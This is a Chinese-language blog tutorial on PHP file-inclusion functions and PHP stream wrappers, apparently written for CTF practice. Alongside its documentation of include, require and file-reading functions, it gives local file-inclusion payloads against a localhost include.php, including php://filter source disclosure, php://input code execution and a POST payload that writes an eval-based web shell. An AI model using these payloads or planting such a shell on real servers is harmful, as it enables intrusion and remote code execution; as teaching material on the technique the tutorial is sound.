[php知识点]PHP伪协议

发布于 2022-04-12  26 次阅读


一、前言

1、什么是PHP伪协议

PHP伪协议事实上就是支持的协议与封装协议,主要包括以下当然还有其他。

2、什么时候用PHP伪协议

文件包含!!!

可能遇到的文件包含函数:
1、include 2、require 3、include_once 4、require_once 5、highlight_file 6、show_source 7、flie 8、readfile
9、file_get_contents 10、file_put_contents 11、fopen (比较常见)

include和require函数

通过 include 或 require 语句,可以将 PHP 文件的内容插入另一个 PHP 文件(在服务器执行它之前)。

include 和 require 语句是相同的,除了错误处理方面:

  • require 会生成致命错误(E_COMPILE_ERROR)并停止脚本
  • include 只生成警告(E_WARNING),并且脚本会继续

语法:

include 'filename';
require 'filename';

例如:

<?php
  include '23333.php';
  echo phpinfo();
?>

由于23333.php不存在
使用include的时候,只会在当前语句报错,然后执行后边的正常语句

<?php
  require '23333.php';
  echo phpinfo();
?>

但是使用require的时候,就会直接报错然后跳出函数。

include和include_once的区别(require与require_once的区别)

include_once (require_once)语句在脚本执行期间包含并运行指定文件。此行为和 include (require)语句类似,区别是如果该文件中的代码已经被包含了,则不会再次包含,只会包含一次。include_once(require_once)需要查询一遍已加载的文件列表, 确认是否存在, 然后再加载。

<?php
require '1.php';
require '1.php';
?>

这种情况下1.php被包含两次。

<?php
require '1.php';
require_once '1.php';
?>

这种情况下,第二次包含时,是不会进行包含的。

highlight_file()和show_source()

两个函数的用法相同,因为show_source()是highlight_file()的别名

show_source(filename,return);
highlight_file(filename,return);

其中return是可选项

参数 描述
filename 必需。要进行高亮处理的 PHP 文件的路径。
return 可选。如果设置 true,则本函数返回高亮处理的代码,而不是输出它们。

readfile和file_get_contents和file

首先看看三者的区别:

  • file — 把整个文件读入一个数组中
  • readfile — 读入一个文件并写入到输出缓冲。
  • file_get_contents — 将整个文件读入一个字符串

看单个函数的用法

  • file_get_contents

file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

file_get_contents(path,include_path,context,start,max_length)
参数 描述
path 必需。规定要读取的文件。
include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。
start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。
max_length 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。
  • readfile

readfile() 函数读取一个文件,并写入到输出缓冲。如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 '@' 来隐藏错误输出。

readfile(filename,include_path,context)
参数 描述
filename 必需。规定要读取的文件。
include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。
  • file

与 file_get_contents() 类似,不同的是 file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。

file(path,include_path,context)
参数 描述
path 必需。规定要读取的文件
include_path 可选。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 "1"
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 null,则忽略。

file_put_contents

file_put_contents() 函数把一个字符串写入文件中。

该函数访问文件时,遵循以下规则:

  • 如果设置了 FILE_USE_INCLUDE_PATH,那么将检查 filename 副本的内置路径
  • 如果文件不存在,将创建一个文件
  • 打开文件
  • 如果设置了 LOCK_EX,那么将锁定文件
  • 如果设置了 FILE_APPEND,那么将移至文件末尾。否则,将会清除文件的内容
  • 向文件中写入数据
  • 关闭文件并对所有文件解锁

如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。

int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
参数 功能
filename 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件
data 必需。规定要写入文件的数据。可以是字符串、数组或数据流
mode 可选。规定如何打开/写入文件。可能的值: * FILE_USE_INCLUDE_PATH * FILE_APPEND * LOCK_EX
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。

fopen

fopen(filename,mode,include_path,context)

二、PHP伪协议

参考文档:
https://www.php.cn/manual/view/276.html

1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

file://

  • 条件:

    * allow_url_fopen:off/on
    * allow_url_include :off/on

  • 作用:
    用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
    include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。

  • 说明:
    file:// — 访问本地文件系统
    说明文件系统 是 PHP 使用的默认封装协议,展现了本地文件系统。 当指定了一个相对路径(不以://indows 盘符开头的路径)提供的路径将基于当前的工作目录
    在很多情况下是脚本所在的目录,除非被修改了。 使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如 fopen() 和 file_get_contents() , include_path 会可选地搜索,也作为相对的路径。
    有时会出现file:///****** 的情况这个原因是访问了文件的根目录

  • 用法:

/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:pathtowinfile.ext
smbserversharepathtowinfile.ext
file:///path/to/file.ext
  • 实例
<?php
   $file = $_GET['file'];
   include($file);
   ……
?>


(这里只能用绝对路径,不知道为什么用相对路径会报错2333,可能是win的原因吧。。。)
原来访问相对路径直接访问就行了

http://

  • 条件:

    * allow_url_fopen:on
    * allow_url_include:on

  • 作用:
    常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。

  • 用法:

http://example.com
http://example.com/file.php?var1=val1&var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1=val1&var2=val2
https://user:password@example.com	
  • 示例:
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

利用include函数,报错如下

原因就是,没有打开allow_url_include
在php.ini默认设置中:
* allow_url_fopen=On
* allow_url_include=Off

修改完成后就可成功执行

php://

摘自:https://www.php.cn/php-weizijiaocheng-481803.html

  • 条件:
    * allow_url_fopen:off/on
    * allow_url_include :仅php://input php://stdin php://memory php://temp 需要on

  • 作用:
    php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

  • 说明:
    PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,
    内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

  • php://filter参数详解

该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

  • 可用的过滤器列表(4类)

  • 示例

php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)

http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

php://input + [POST DATA]执行php代码

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

若有写入权限,写入一句话木马

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

参考:https://php.net/manual/zh/wrappers.php.php

zip:// & bzip2:// & zlib:// 协议

  • 条件

    • allow_url_fopen:off/on
    • allow_url_include :off/on
  • 作用:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。

  • 示例
    1、 zip://[压缩文件绝对路径]#[压缩文件内的子文件名](#编码为%23)

压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

http://127.0.0.1/include.php?file=zip://E:phpStudyPHPTutorialWWWphpinfo.jpg#phpinfo.txt

2、compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)

http://127.0.0.1/include.php?file=compress.bzip2://E:phpStudyPHPTutorialWWWphpinfo.bz2

3、compress.zlib://file.gz
压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)

http://127.0.0.1/include.php?file=compress.zlib://E:phpStudyPHPTutorialWWWphpinfo.gz

http://php.net/manual/zh/wrappers.compression.php

data://

  • 条件

    • allow_url_fopen:on
    • allow_url_include :on
  • 作用
    自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

  • 用法
    data://text/plain,
    data://text/plain;base64,

  • 示例

    • data://text/plain,
    http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
    
    • data://text/plain;base64,
    http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
    

phar://

phar://协议与zip://类似,同样可以访问zip格式压缩包内容,在这里只给出一个示例

http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

注意这里与zip://不同的地方是,phar访问压缩包内容是通过/访问,而zip是通过#访问


“缘分让我们相遇乱世以外,命运却让我们危难中相爱”